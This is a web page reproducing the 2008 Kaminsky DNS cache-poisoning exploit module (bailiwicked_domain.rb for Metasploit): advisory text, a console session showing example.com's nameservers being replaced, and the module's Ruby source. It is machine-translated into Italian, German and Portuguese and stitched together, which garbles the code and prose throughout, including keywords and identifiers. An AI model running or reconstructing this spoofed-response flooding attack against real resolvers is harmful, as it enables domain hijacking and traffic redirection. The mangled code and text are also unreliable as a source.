l'inondazione
del #
dell'estremità
di ritorno
del disconnect_ip di srv_sock.close l'obiettivo con le domande e spoofed le risposte, una finalmente colpirà
le domande = risposte
0 = 0
print_status del ip_sock del connect_ip
se non (“tentando di iniettare le annotazioni del veleno per nameservers di s del # {dominio} 'nel # {obiettivo}: # {sport}…„
mentre randhost
= Rex allineare:: Text.rand_text_alphanumeric (12) + “.„ + il dominio # ripartisce le probabilità sul hostname
# trasmette spoofed il req
= Resolv di domanda: NS:: Message.new
req.id = bordo (2 ** 16)
req.add_question (randhost, Resolv: NS:: Risorsa:: IN:: A)
req.rd = 1
giallo cuoio = (
Scruby:: IP.new (
#: sbavature del => dello src [0] [: addr] .to_s
: partenza del => dello src,
arrivo del => della st,
=> 17)
/Scruby di roto:: UDP.new (
: il => di sport (bordo ((2 ** 16) - 1024) +1024) .to_i,
domande che port del =>
53)
/req.encode)
.to_net ip_sock.sendto (buff, obiettivo
) += 1
# trasmettono la malvagità spoofed la risposta da TUTTI I nameservers (sbavature [*] [: addr])
req.add_answer (randhost, newttl, Resolv: NS:: Risorsa:: IN:: A.new (indirizzo))
req.add_authority (dominio, newttl, Resolv: NS:: Risorsa:: IN:: NS.new (Resolv: NS:: Name.create (newdns)))
req.add_additional (newdns, newttl, Resolv: NS:: Risorsa:: IN:: A.new (indirizzo)) Il # ignorato
req.qr = 1
req.aa = 1
xidbase.upto (xidbase+xids-1) |identificazione|
req.id = l'identificazione
barbs.each |sbavatura|
buff = (
Scruby:: IP.new (
#: sbavature del => dello src [: addr] .to_s
: sbavatura del => dello src [: addr] .to_s,
obiettivo del => della st,
=> 17)
/Scruby di roto:: UDP.new (
: il => 53, aggiornamento
port di condizione del #
dell'estremità dell'estremità
di risposte +=
1 del => sport.to_i) /req.encode)
.to_net ip_sock.sendto (
buff
,
obiettivo) se
% di print_status 1000 del == 0 di domande
(“ha trasmesso le domande del # {domande} ed il # {risposte} spoofed così spesso estremità #
di risposte
…„ ogni, controllo di sport e vede se l'obiettivo è avvelenato…
se del == 0 di domande % 250
cominciano
la domanda = Resolv: NS:: Message.new
query.add_question (dominio, Resolv: NS:: Risorsa:: IN:: NS)
query.rd = 0
risposte, addr =
srv_sock.recvfrom di srv_sock.put (query.encode) ()
se risposta e answer.length > 0
risposta = Resolv: NS:: Message.decode (risposta)
answer.each_answer |nome, TTL, dati|
se ((name.to_s + “.„ dominio del == e print_status dei newdns del == di data.name.to_s
) (“l'avvelenamento riuscito dopo il # {domande} tenta: salvataggio di conclusione dell'estremità dell'estremità di ritorno del disconnect_ip di srv_sock.close del # del == del #
{
dominio
}
{
newdns
}
“:: Aumento
$ di interruzione!
salvataggio:: Print_status del => e
di eccezione (“errore che interroga il nome di DNS: # {e.class} estremità dell'estremità dell'estremità dell'estremità dell'estremità dell'estremità del # {e
}
#
{
e.backtrace
}
“
DNS Fehler-Juli 2008 Angriff Code
Automatically translated into German thanks to WorldLingo
code de Lattaque sur le dns (= faille DNS) en juillet 2008
_ __
// | | | |
----====####//__ ##//##| |##| |####====----
| | | |__| | | | | |
| | ___ | _ _ | | | | |
------======######//#| |##| |#| |##| |######======------
____/ |__| |__| Großtat-
Code ===============/==================================- ======================
Großtat
Identifikation http://www.caughq.org
des ______/Computers
akademische unterirdische: Datum
der Freigabe-CAU-EX-2008-0003: 2008.07.23
Titel: bailiwicked_domain.rb
Beschreibung: Kaminsky DNS Pufferspeicher-Vergiftung Fehler-Großtat für die Gebiete
geprüft: BINDUNG 9.4.1-9.4.2
Attribute: Direktübertragung, Gift, Lösungsmittel, Metasploit
Großtat URL: http://www.caughq.org/exploits/CAU-EX-2008-0003.tx- t
Autor/email: ) Ruid I
H D Moore
===============/==================================- ======================
Beschreibung
===========
diese Großtat zielt einen ziemlich überall vorhandenen Fehler in den DNS Implementierungen,
die die Einfügung der böswilligen DNS Aufzeichnungen in den Pufferspeicher des Ziel
nameserver erlauben. Diese Großtat cachiert eine einzelne böswillige nameserver
Eintragung in das Ziel nameserver, das die gesetzmaßigen nameservers
für das Zielgebiet ersetzt. Durch das Veranlassen des Ziel nameserver,
für gelegentliche hostnames am Zielgebiet, am Angreiferdose spoof eine
Antwort zum Zielbediener einschließlich eine Antwort für die Frage, an einer Berechtigung
Bedieneraufzeichnung und an einer zusätzlichen Aufzeichnung für diesen Bediener zu fragen,
Ziel nameserver veranlassend, die zusätzliche Aufzeichnung in den Pufferspeicher
einzusetzen. Diese Einfügung ersetzt vollständig die ursprünglichen nameserver
Aufzeichnungen für das Zielgebiet.
Beispiel
=======
# /msf3/msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
= [msf v3.2-release
+ -- --= [298 Großtaten - 124 Nutzlasten
+ -- --= [18 Kodierer - 6 nops
= [Zusatzmsf
73 > Gebrauchstellte Helfer/spoof/DNS/
bailiwicked_domain msf Helfer (bailiwicked_domain) > RHOST A.B.C.D
RHOST => A.B.C.D
msf Helfer (bailiwicked_domain) > einstellte GEBIET example.com
GEBIET => example.com
msf Helfer (bailiwicked_domain) > einstellte NEWDNS dns01.metasploit.com
NEWDNS => dns01.metasploit.com
msf Helfer (bailiwicked_domain) > einstellte SRCPORT 0
SRCPORT => 0
msf Helfer (bailiwicked_domain) > die überprüfung
[*] den Metasploit Service verwendend, um exploitability zu überprüfen… ein
[*] >> ADRESSE: A.B.C.D TOR: 50391
[*] >> ADRESSE: A.B.C.D TOR: 50391
[*] >> ADRESSE: A.B.C.D TOR: 50391
[*] >> ADRESSE: A.B.C.D TOR: 50391
[*] >> ADRESSE: A.B.C.D TOR: [
*] AUSFALLEN 50391: Dieser Bediener benutzt statische Quelltore und ist- zum Vergiftung msf
Helfer (bailiwicked_domain) > Grabung +short verletzbar - t ns example.com @A.B.C.D
[*], exec: Grabung +short - t ns example.com @A.B.C.D
b.iana-servers.net.
a.iana-servers.net.
msf Helfer (bailiwicked_domain) > lassen
[*] Schaltung laufen, um das Tor 50391 zu zielen, das auf dem Metasploit Service basiert
[*] nameserver A.B.C.D für Einspritzung von example.com zielend. nameservers als dns01.metasploit.com
[*] überholtes nameserver für example.com fragend. 's nameservers…
[*] erhielt eine NS Aufzeichnung: example.com. 171957 IN NS b.iana-servers.net.
[*] überholtes nameserver für Adresse von b.iana-servers.net fragend….
[*] erhielt eine A Aufzeichnung: b.iana-servers.net. 171028 IN A 193.0.0.236
[*] Authoritativeness überprüfend: 193.0.0.236 für example.com fragen….
[*] b.iana-servers.net. ist für example.com maßgebend. , fügend Liste von nameservers spoof hinzu, wie
[*] eine NS Aufzeichnung erhalten: example.com. 171957 IN NS a.iana-servers.net.
[*] überholtes nameserver für Adresse von a.iana-servers.net fragend….
[*] erhielt eine A Aufzeichnung: a.iana-servers.net. 171414 IN A 192.0.34.43
[*] Authoritativeness überprüfend: 192.0.34.43 für example.com fragen….
[*] a.iana-servers.net. ist für example.com maßgebend. , fügend Liste von nameservers spoof hinzu, wie
[*] versuchend, Giftaufzeichnungen für example.com einzuspritzen. 's nameservers in A.B.C.D: 50391…
[*] geschickt 1000 Fragen und 20000 spoofed Antworten…
[*] geschickt 2000 Fragen und 40000 spoofed Antworten…
[*] geschickt 3000 Fragen und 60000 spoofed Antworten…
[*] geschickt 4000 Fragen und 80000 spoofed Antworten…
[*] geschickt 5000 Fragen und 100000 spoofed Antworten…
[*] geschickt 6000 Fragen und 120000 spoofed Antworten…
[*] geschickt 7000 Fragen und 140000 spoofed Antworten…
[*] geschickt 8000 Fragen und 160000 spoofed Antworten…
[*] geschickt 9000 Fragen und 180000 spoofed Antworten…
[*] geschickt 10000 Fragen und 200000 spoofed Antworten…
[*] geschickt 11000 Fragen und 220000 spoofed Antworten…
[*] geschickt 12000 Fragen und 240000 spoofed Antworten…
[*] geschickt 13000 Fragen und 260000 spoofed Antworten…
[*] Vergiftung erfolgreich nach 13250 Versuchen: example.com. == dns01.metasploit.com
[*] führte zusätzliche Moduldurchführung
msf Helfer (bailiwicked_domain) > Grabung +short durch - t ns example.com @A.B.C.D
[*] exec: Grabung +short - t ns example.com @A.B.C.D
dns01.metasploit.com.
Gutschriften
=======
Dan Kaminsky wird diese Verwundbarkeit ursprünglich entdecken gutgeschrieben.
Cedric Bleicher stellte heraus die NS Einspritzungmethode dar und
war genug zu email wir und Anteil kühl!
Hinweise
==========
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-- http://www.kb.cert.org/vuls/id/800113
Metasploit, das
==========
2008-1447
„msf/Kern“ erfordern,
erfordern „Netz/DNS“
erfordern „scruby“
erfordern „resolv“
Modul Msf
Kategorie Helfer:: Spoof: ns:: BailiWickedDomain < Msf:: Helfer
schließen Großtat: ein: Direktübertragung:: IP
def initialisieren (Info = {})
Super (update_info (Info,
„Name“ => „DNS BailiWicked Gebiet Angriff“,
„Beschreibung“ => %q {
diese Großtat nimmt einen ziemlich überall vorhandenen Fehler in den DNS Implementierungen in Angriff, denen
Dan Kaminsky ~ Jul. 2008 fand und freigab. Diese Großtat ersetzt die Ziel
gebiete nameserver Eintragungen in einem verletzbaren DNS Pufferspeicherbediener. Dieser Angriff arbeitet
, indem er gelegentliche hostname Fragen zum Bediener des Ziels DNS schickt, der mit verbunden wird, spoofed
Antworten auf jene Fragen von den maßgebenden nameservers für dieses Gebiet.
Schließlich paßt eine geschätzte Identifikation zusammen, spoofed Paket erhält angenommen, und
die nameserver Eintragungen für das Zielgebiet werden durch den Bediener ersetzt, der
in der NEWDNS Wahl dieser Großtat spezifiziert wird.
},
„Autor“ =>
[
„I) ruid“, „hdm“,
#
„Cedric Bleicher “ # Cedric stellte heraus die NS Einspritzungmethode
# dar und war genug zu email wir und Anteil kühl!
#
],
„Lizenz“ => MSF_LICENSE,
„Version“ => '$Revision: 5591 $ ',
„Bezugs“ =>
[
[„CVE“, „2008-1447“],
[„US-CERT-VU“, „8000113“],
[„URL“, „http://www.caughq.org/exploits/CAU-EX-2008-0003.t- xt“],
],
„DisclosureDate“ => „21. Jul. 2008“
))
register_options (
[
OptPort.new („SRCPORT“, [zutreffend, „das des Zieltor Frage Bedieners Quell(0 für automatisches)“, Null]),
OptString.new („GEBIET“, [zutreffend, „das Gebiet zum Straßenräuber“, „example.com“]),
OptString.new („NEWDNS“, [zutreffend, „das hostname vom Bediener des Wiedereinbaus DNS“, Null]),
OptAddress.new („RECONS“, [zutreffend, „Nameserver verwendet für Untersuchung“, „208.67.222.222“]),
OptInt.new („XIDS“, [richten Sie, „Nr. von XIDs aus, um für jede Frage zu versuchen“, 10]),
OptInt.new („TTL“, [zutreffend, „TTL für die böswillige NS Eintragung“, 31337]),
], cmd_check def
Ende
der self.class)
Ende def auxiliary_commands Rückkehr {„überprüfung“ fest => „stellen, wenn der spezifizierte DNS Bediener (RHOST)“
verletzbar
ist} (*args)
targ = args [0] || rhost ()
wenn (nicht (targ und targ.length > 0))
print_status („Verbrauch: überprüfung [DNSbediener] „
Rückhol
ende
print_status („mit dem Metasploit Service, exploitability zu überprüfen…“
srv_sock = Rex:: Socket.create_udp (
„PeerHost“ => targ,
„PeerPort“ => 53
)
gelegentliche = falsche
Tore = []
lport = Null
1.upto (5) |I|
req = Resolv: NS:: Message.new
txt = „spoofprobe-überprüfen-# {i} - # {$$} # {(Rand () *1000000-) .to_i} .red.metasploit.com“
req.add_question (txt, Resolv: NS:: Hilfsmittel:: IN:: TXT)
req.rd = 1
srv_sock.put (req.encode)
Res, addr = srv_sock.recvfrom ()
wenn Res und res.length > 0
Res = Resolv: NS:: Message.decode (Res)
res.each_answer |Name, ttl, Daten|
wenn (name.to_s == txt und data.strings.join ('') =~/^ ([^s] +) s+.* red.metasploit.com/m)
t_addr, t_port = $1.split („: “)
print_status („>> ADRESSE: # {t_addr} TOR: # {t_port} „
t_port = t_port.to_i
wenn (lport und lport! = t_port)
trägt gelegentliches =
zutreffendes
Ende lport =
t_port << t_port
Ende
Ende
Ende
Ende
srv_sock.close,
wenn (ports.length < 5)
print_status („UNBEKANNTES: Dieser Bediener antwortete nicht auf unsere Verwundbarkeitüberprüfung Anträge "
Rückhol
ende,
wenn (gelegentliches)
print_status („DURCHLAUF: Dieser Bediener benutzt nicht ein statisches Quelltor. Tore: # {ports.join („,“} „
print_status („kann dieser Bediener, aber nicht durch dieses Werkzeug verwertbar noch sein. “
sonst
print_status („AUSFALLEN: Dieser Bediener benutzt statische Quelltore und ist- zur Vergiftung " Ende
Ende
def
Durchlaufziel
= rhost () Quelle
= Rex: verletzbar: Socket.source_address (Ziel)
Sport = datastore [„SRCPORT“]
Gebiet = datastore [„GEBIET“] + „. “
newdns = datastore [„NEWDNS“]
recons = datastore [„RECONS“]
xids = datastore [„XIDS“] .to_i
newttl = datastore [„TTL“] .to_i
xidbase = Rand (20001) + Adresse
20000 = Rex:: Text.rand_text (4) .unpack („C4“ .join (“. „
srv_sock = Rex:: Socket.create_udp (
„PeerHost“ => Ziel,
„PeerPort“ => 53
)
# erhalten das Quelltor über den metasploit Service, wenn es nicht eingestellt wird,
wenn sport.to_i == 0
req = Resolv: NS:: Message.new
txt = „spoofprobe-# {$$} # {(Rand () *1000000) .to_i} .red- .metasploit.com“
req.add_question (txt, Resolv: NS:: Hilfsmittel:: IN:: TXT)
req.rd = 1
srv_sock.put (req.encode)
Res, addr = srv_sock.recvfrom ()
wenn Res und res.length > 0
Res = Resolv: NS:: Message.decode (Res)
res.each_answer |Name, ttl, Daten|
wenn (name.to_s == txt und data.strings.join ('') =~/^ ([^s] +) s+.* red.metasploit.com/m)
t_addr, t_port = $1.split („: “)
Sport = t_port.to_i
print_status („, zum Ziel das Tor # {Sport} schalten basiert auf Metasploit Service“
wenn Ziel! = t_addr
print_status („warnend: Zieladresse # {Ziel} ist nicht die selbe die die Adresse # {t_addr} Frage der nameservers Quell! „
Ende
Ende
Ende
Ende
Ende
# überprüfen, daß sein nicht bereits vergiftet
Frage
= Resolv anfangen Sie: NS:: Message.new
query.add_question (Gebiet, Resolv: NS:: Hilfsmittel:: IN:: NS)
query.rd = 0
fangen
cachiert = falsche
srv_sock.put (query.encode)
Antwort, addr = srv_sock.recvfrom ()
wenn Antwort und answer.length > 0
Antwort = Resolv an: NS:: Message.decode (Antwort)
answer.each_answer |Name, ttl, Daten|
wenn ((name.to_s + „.“ == Gebiet und data.name.to_s == newdns)
t = Time.now + ttl
print_status („Ausfall: Dieses Gebiet benutzt bereits # {newdns} da ein nameserver "
print_status („läuft Pufferspeichereintragung auf # {t.to_s}“
srv_sock.close
disconnect_ip
Rückkehr
ende
Ende
Ende
Ende ab, bis nicht cachierte
Rettung:: Unterbrechung
Erhöhung $!
Rettung:: Ausnahme => e
print_status („Fehlerprüfung der DNS Name: # # {e.class} {e} # {e.backtrace} „
Ende
res0 = Netz: NS:: Resolver.new (: nameservers => [recons], ns_search => falsch: rekursives => zutreffendes) # Untersuchung-Lösungsmittel
print_status „, das nameserver # {Ziel} zielt für Einspritzung von # {Gebiet} nameservers, während # {newdns}“
# oben die nameservers nach dem Gebiet print_status
schauen „, das überholtes nameserver für # {Gebiet} fragt 's nameservers…“
answer0 = res0.send (Gebiet, Netz: NS:: NS)
#print_status „erhaltene Antwort mit # {answer0.header.anCount} Antworten, # {answer0.header.nsCount} Behörden“
Widerhaken = [] # Speicher für nameservers
answer0.answer.each tun |rr0|
print_status „erhielt eine # {rr0.type} Aufzeichnung: # {rr0.inspect} „
, wenn rr0.type == „NS“
das print_status „, das überholtes nameserver für Adresse von # {rr0.nsdname} fragt…“
answer1 = res0.send (rr0.nsdname) # die Antwort des nss für das hostname #print_status
„erhaltene Antwort mit # {answer1.header.anCount} Antworten erhalten, # {answer1.header.nsCount} Behörden“
answer1.answer.each tun |rr1|
print_status „erhielt eine # {rr1.type} Aufzeichnung: # {rr1.inspect} „
res2 = Netz: NS:: Resolver.new (: nameservers => rr1.address, ns_search => falsch: rekursives => falsch: Wiederholung => 1)
print_status „, das Authoritativeness überprüft: # {rr1.address} für # {Gebiet} fragen… „
answer2 = res2.send (Gebiet)
wenn answer2 und answer2.header.auth? und answer2.header.anCount >= 1
nsrec = {: Namens=> rr0.nsdname: addr => rr1.address}
Widerhaken << nsrec
print_status „# {rr0.nsdname} ist für # {Gebiet} maßgebend und fügt Liste von nameservers spoof als“
Ende
Ende
Ende
Ende
wenn barbs.length == 0
print_status hinzu („keine DNS Bediener gefunden. “
srv_sock.close
disconnect_ip
Rückkehr-
Ende
# Flut das Ziel mit Fragen und spoofed Antworten, man schlägt schließlich
Fragen = Antworten
0 = 0
connect_ip, wenn nicht ip_sock
print_status („versuchend, Giftaufzeichnungen für # {Gebiet} einzuspritzen 's nameservers in # {Ziel}: # {Sport}…“,
während zutreffendes
randhost = Rex:: Text.rand_text_alphanumeric (12) + „.“ + randomisieren Gebiet # das hostname
# senden spoofed Frage
req = Resolv: NS:: Message.new
req.id = Rand (2 ** 16)
req.add_question (randhost, Resolv: NS:: Hilfsmittel:: IN:: A)
req.rd = 1
lederfarben = (
Scruby:: IP.new (
#: src => Widerhaken [0] [: addr] .to_s
: src => Quelle,
Str. => Ziel,
roto => 17
) /Scruby:: UDP.new (
: Sport => (Rand ((2 ** 16) - 1024) +1024) .to_i,
Port=> 53
) /req.encode
) .to_net
ip_sock.sendto (Büffelleder, Ziel)
Fragen, die += 1
# übel senden, spoofed Antwort von ALLEN nameservers (Widerhaken [*] [: addr])
req.add_answer (randhost, newttl, Resolv: NS:: Hilfsmittel:: IN:: A.new (Adresse))
req.add_authority (Gebiet, newttl, Resolv: NS:: Hilfsmittel:: IN:: NS.new (Resolv: NS:: Name.create (newdns)))
req.add_additional (newdns, newttl, Resolv: NS:: Hilfsmittel:: IN:: A.new (Adresse)) Ignoriertes #
req.qr = 1
req.aa = 1
xidbase.upto (xidbase+xids-1) |Kennzeichnung|
req.id = Kennzeichnung
barbs.each |Widerhaken|
Büffelleder = (
Scruby:: IP.new (
#: src => Widerhaken [: addr] .to_s
: src => Widerhaken [: addr] .to_s,
Str. => Ziel,
roto => 17
) /Scruby:: UDP.new (
: Sport => 53,
Portende Ende
# der =>
sport.to_i)
/req.encode) .to_net ip_sock.sendto (Büffelleder
, Ziel)
Warte
+=
1 Statusupdate
, wenn Fragen % == 0 print_status
1000 („gesendete # {Fragen} Fragen und # {Antworten} spoofed das Warte…“
Ende
#, das so häufig jedes ist, überprüfung und sehen, wenn das Ziel wird vergiftet…
wenn Fragen % 250 == 0
Frage
= Resolv anfangen: NS:: Message.new
query.add_question (Gebiet, Resolv: NS:: Hilfsmittel:: IN:: NS)
query.rd = 0
srv_sock.put (query.encode)
Antwort, addr = srv_sock.recvfrom ()
wenn Antwort und answer.length > 0
Antwort = Resolv: NS:: Message.decode (Antwort)
answer.each_answer |Name, ttl, Daten|
wenn ((name.to_s + „.“ == Gebiet und data.name.to_s == newdns)
print_status („die Vergiftung, die nach # {Fragen} erfolgreich ist versucht: == # {Gebiet} # {newdns} „
srv_sock.close
disconnect_ip
Rückkehr
ende
Ende
Ende
Rettung:: Unterbrechung
Erhöhung $!
Rettung:: Ausnahme => e
print_status („Störung, die den DNS Namen fragt: # # {e.class} {e} # {e.backtrace} „
Ende
Ende
Ende
Ende
Ende
Ende
código do ataque de julho 2008 da falha do dns
Automatically translated into Portuguese thanks to WorldLingo
/do __ do juillet 2008 do en de le dns do sur de código de lattaque (= faille
dns)
_/ | | | |
----====####//__ ##//##| |##| |####====----
| | | |__| | | | | |
| | ___ | _ _ | | | | |
------======######//#| |##| |#| |##| |######======------
____/ |__| |__| Façanha
subterrânea académico ID
do ======================
do código ===============/==================================-
da façanha de http://www.caughq.org
do computador de ______/: Data
da liberação CAU-EX-2008-0003: 2008.07.23
Título: descrição
de bailiwicked_domain.rb: A façanha da falha do envenenamento do esconderijo de Kaminsky DNS para domínios
testou: Atributos do LIGAMENTO
9.4.1-9.4.2: Telecontrole, veneno, Resolver, URL
da façanha de Metasploit: autor de http://www.caughq.org/exploits/CAU-EX-2008-0003.tx-
t/email: ) O
=========== da descrição
do ======================
de ===============/==================================-
esta façanha alveja uma falha razoavelmente ubiquitous nas execuções do DNS
que permitem a inserção de registros maliciosos do DNS no esconderijo
do nameserver do alvo. Esta façanha caches uma única entrada maliciosa
do nameserver no nameserver do alvo que substitui os nameservers
legitimate para o domínio do alvo. Fazendo com o nameserver do alvo
pergunte para hostnames aleatórios no domínio do alvo, no spoof da lata do atacante
uma resposta ao usuário do alvo including uma resposta para a pergunta,
em um registro do usuário da autoridade, e em um registro adicional para esse usuário,
fazendo com que o nameserver do alvo introduza o registro adicional
no esconderijo. Esta inserção substitui completamente os registros originais
do nameserver para o domínio do alvo.
=======
do exemplo
# ##
do ### do #### do #### do ####
do ## do ##### do ##### do ### do #### do ## do ## do ## do ## do ##
do ## do ## do ##### do ## do ## do ## do ## do ## do ## do ## do ## do ## do ##
do ## do ## do #### do ##### do ## do ###### do ####### do ## do ### do ## do ## do ##
do ## do ## do ## do ## do ## do ## do ## do ####### do ###### do #### do ## do ##### do ##### do ####
do ###### do #### do ## do ## do ## do ## do ### do ## de /msf3/msfconsole # do ##
do ##
= [msf v3.2-release
+ -- --= [298 façanhas - 124 payloads
+ -- --= [18 codificadores - 6 nops
= [o auxiliar do msf
73 auxiliar > do uso/spoof/auxiliar msf do dns
/bailiwicked_domain (bailiwicked_domain) > ajustou o auxiliar do msf
do => A.B.C.D de RHOST
A.B.C.D RHOST (bailiwicked_domain) > ajustou o auxiliar do msf
de example.com do => do DOMÍNIO
de example.com do DOMÍNIO (bailiwicked_domain) > ajustou o auxiliar do msf
de dns01.metasploit.com do => de NEWDNS
dns01.metasploit.com NEWDNS (bailiwicked_domain) > ajustou o auxiliar do msf
do => 0 de SRCPORT
0 SRCPORT (bailiwicked_domain) > a verificação
[*] que usa o serviço de Metasploit verificar o exploitability…
[*] >> ENDEREÇO: PORTO DE A.B.C.D: 50391
[*] >> ENDEREÇO: PORTO DE A.B.C.D: 50391
[*] >> ENDEREÇO: PORTO DE A.B.C.D: 50391
[*] >> ENDEREÇO: PORTO DE A.B.C.D: 50391
[*] >> ENDEREÇO: PORTO DE A.B.C.D: [
*] FALHA 50391: Este usuário usa portos de estática da fonte e é vulnerável ao auxiliar
do msf do envenenamento (bailiwicked_domain) > a escavação +short - exec de t ns example.com
@A.B.C.D [*]: escavação +short - t ns example.com @A.B.C.D
b.iana-servers.net.
a.iana-servers.net.
o auxiliar do msf (bailiwicked_domain) > funciona
[*] o Switching para alvejar o porto 50391 baseado no serviço de Metasploit
[*] que alveja o nameserver A.B.C.D para a injeção de example.com. nameservers como dns01.metasploit.com
[*] que pergunta o nameserver recon para example.com. 'nameservers de s…
[*] começou um registro do NS: example.com. 171957 EM NS b.iana-servers.net.
[*] perguntando o nameserver recon para o endereço de b.iana-servers.net….
[*] começou um registro de A: b.iana-servers.net. 171028 em A 193.0.0.236
[*] que verifica Authoritativeness: Perguntando 193.0.0.236 para example.com….
[*] b.iana-servers.net. é authoritative para example.com. , adicionando à lista dos nameservers ao spoof como
[*] começado um registro do NS: example.com. 171957 EM NS a.iana-servers.net.
[*] perguntando o nameserver recon para o endereço de a.iana-servers.net….
[*] começou um registro de A: a.iana-servers.net. 171414 em A 192.0.34.43
[*] que verifica Authoritativeness: Perguntando 192.0.34.43 para example.com….
[*] a.iana-servers.net. é authoritative para example.com. , adicionando à lista dos nameservers ao spoof como
[*] tentando injetar registros do veneno para example.com. 'nameservers de s em A.B.C.D: 50391…
[*] emitido 1000 perguntas e 20000 spoofed respostas…
[*] emitido 2000 perguntas e 40000 spoofed respostas…
[*] emitido 3000 perguntas e 60000 spoofed respostas…
[*] emitido 4000 perguntas e 80000 spoofed respostas…
[*] emitido 5000 perguntas e 100000 spoofed respostas…
[*] emitido 6000 perguntas e 120000 spoofed respostas…
[*] emitido 7000 perguntas e 140000 spoofed respostas…
[*] emitido 8000 perguntas e 160000 spoofed respostas…
[*] emitido 9000 perguntas e 180000 spoofed respostas…
[*] emitido 10000 perguntas e 200000 spoofed respostas…
[*] emitido 11000 perguntas e 220000 spoofed respostas…
[*] emitido 12000 perguntas e 240000 spoofed respostas…
[*] emitido 13000 perguntas e 260000 spoofed respostas…
[*] envenenar bem sucedido após 13250 tentativas: example.com. a execução auxiliar
do módulo de dns01.metasploit.com do == [*] terminou
o auxiliar do msf (bailiwicked_domain) > a escavação +short - exec de t ns example.com
@A.B.C.D [*]: escavação +short - t ns example.com @A.B.C.D
dns01.metasploit.com.
O =======
Dan
Kaminsky dos créditos é creditado com originalmente descobrir este vulnerability.
O figurou para fora o método da injeção do NS e
estêve fresco bastante ao email nós e parte!
As referências
o ==========
2008-1447 de http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE--
http://www.kb.cert.org/vuls/id/800113
Metasploit que
do ==========
requer “msf/núcleo”
requerem a “rede/dns”
requerem “scruby”
requerem o auxiliar da classe de Msf
do módulo do “
resolv”:: Spoof: ns:: BailiWickedDomain < Msf:: O auxiliar
inclui a façanha:: Telecontrole:: O def
do IP inicializa (info = {})
super (update_info (info,
=> %q da “descrição”” do => do “do “nome ataque
do domínio DNS BailiWicked”, {
esta façanha ataca uma falha razoavelmente ubiquitous nas execuções do DNS que
Dan Kaminsky encontrou e divulgou o ~Jul 2008. Esta façanha substitui as entradas
do nameserver dos domínios do alvo em um usuário vulnerável do esconderijo do DNS. Este ataque trabalha
emitindo perguntas aleatórias do hostname ao usuário do DNS do alvo acoplado com spoofed
respostas 2 aquelas perguntas dos nameservers authoritative para esse domínio.
Eventualmente, um ID suposto combinará, spoofed o pacote começará aceitado, e
as entradas do nameserver para o domínio do alvo serão substituídas pelo usuário
especificado na opção de NEWDNS desta façanha.
},
o “autor” ruid
do =>
[“I)”, “hdm”,
#
de “o ” # Cedric figurou para fora o método da injeção do NS
# e estêve fresco bastante ao email nós e parte!
#
],
“licença” => MSF_LICENSE,
“versão” => '$Revision: 5591 $ ',
das “referências” [
[
“CVE”, “2008-1447”], [
“US-CERT-VU”, “8000113”], [
“URL”, de “=> do xt http://www.caughq.org/exploits/CAU-EX-2008-0003.t-”],
],
=> “julho 21 2008” de “DisclosureDate”
))
register_options (
[
OptPort.new (“SRCPORT”, [verdadeiro, “o porto da pergunta da fonte do usuário do alvo (0 para automático)”, nil]),
OptString.new (“DOMÍNIO”, [verdadeiro, “o domínio ao hijack”, “example.com”]),
OptString.new (“NEWDNS”, [verdadeiro, “o hostname do usuário do DNS da recolocação”, nil]),
OptAddress.new (“RECONS”, [verdadeiro, “Nameserver usado para o reconhecimento”, “208.67.222.222”]),
OptInt.new (“XIDS”, [rectifique, “número de XIDs para tentar para cada pergunta”, 10]),
OptInt.new (“TTL”, [verdadeiro, “TTL para a entrada maliciosa do NS”, 31337]),
], targ do cmd_check
do def
da extremidade do retorno
dos auxiliary_commands do def da extremidade de self.class) {” o => “da “verificação determina se o usuário especificado do DNS (RHOST)
for
vulnerável”} (*args
) = args [0] || rhost ()
se (não (targ e targ.length > 0))
print_status (“uso: print_status do retorno do fim da verificação [
dns-usuário
]
“(“usando o serviço de Metasploit verificar srv_sock = Rex
do exploitability…”:: Os portos aleatórios
= falsos de Socket.create_udp (targ do =>
de “PeerHost”, =>
53
de “PeerPort”
) = []
lport = nil
1.upto (5) |i|
req = Resolv: NS:: O txt
de Message.new = “spoofprobe-verifica-# {i} - # {$$} # {(margem () *1000000-) .to_i} .red.metasploit.com”
req.add_question (txt, Resolv: NS:: Recurso:: EM:: TXT)
req.rd = 1
srv_sock.put (req.encode)
res, addr = srv_sock.recvfrom ()
se res e res.length > 0
res = Resolv: NS:: Message.decode (res)
res.each_answer |nome, ttl, dados|
se (txt do == de name.to_s e =~/^ de data.strings.join ('') ([^s] +) t_addr de s+.*
red.metasploit.com/m), t_port = $1.split (“: ”)
print_status (“>> ENDEREÇO: # PORTO {do t_addr}: # {t_port} “
t_port = t_port.to_i
se (lport e lport! = o lport do t_port
) o t_port aleatórios
=
verdadeiros da extremidade =
movem << a extremidade
srv_sock.close
da extremidade
da extremidade
da extremidade
do t_port
se (ports.length < 5)
print_status (“DESCONHECIDO: Este usuário não respondeu a nossos pedidos " extremidade do retorno
da verificação
do vulnerability
se print_status (aleatório
) (“PASSAGEM: Este usuário não usa um porto de estática da fonte. Portos: # {ports.join (“,”} “
print_status (“este usuário pode ainda ser exploitable, mas não por esta ferramenta. ”
print_status
outro (“FALHA: Este usuário usa portos de estática da fonte e é vulnerável alvo do funcionamento
do def
da extremidade
extremidade ao envenenamento
da " = fonte = Rex
do rhost ():: Esporte de Socket.source_address (alvo
) = domínio do datastore [“SRCPORT”
] = datastore [“DOMÍNIO”] + “. ”
newdns = recons do datastore [“NEWDNS”
] = xids do datastore [“RECONS”
] = newttl do datastore [“XIDS”]
.to_i = xidbase do datastore [“TTL”]
.to_i = endereço 20000 = Rex da margem (
20001) +:: Text.rand_text (4) .unpack (“C4” .join (”. “
srv_sock = Rex:: Socket.create_udp (
alvo do => de “PeerHost”,
=> 53 de “PeerPort”
)
# começam o porto da fonte através do serviço do metasploit se não forem ajustados
se req = Resolv
do == 0 de sport.to_i: NS:: Txt
de Message.new = “spoofprobe-# {$$} # {(margem () *1000000) .to_i} .red- .metasploit.com”
req.add_question (txt, Resolv: NS:: Recurso:: EM:: TXT)
req.rd = 1
srv_sock.put (req.encode)
res, addr = srv_sock.recvfrom ()
se res e res.length > 0
res = Resolv: NS:: Message.decode (res)
res.each_answer |nome, ttl, dados|
se (txt do == de name.to_s e =~/^ de data.strings.join ('') ([^s] +) t_addr de s+.*
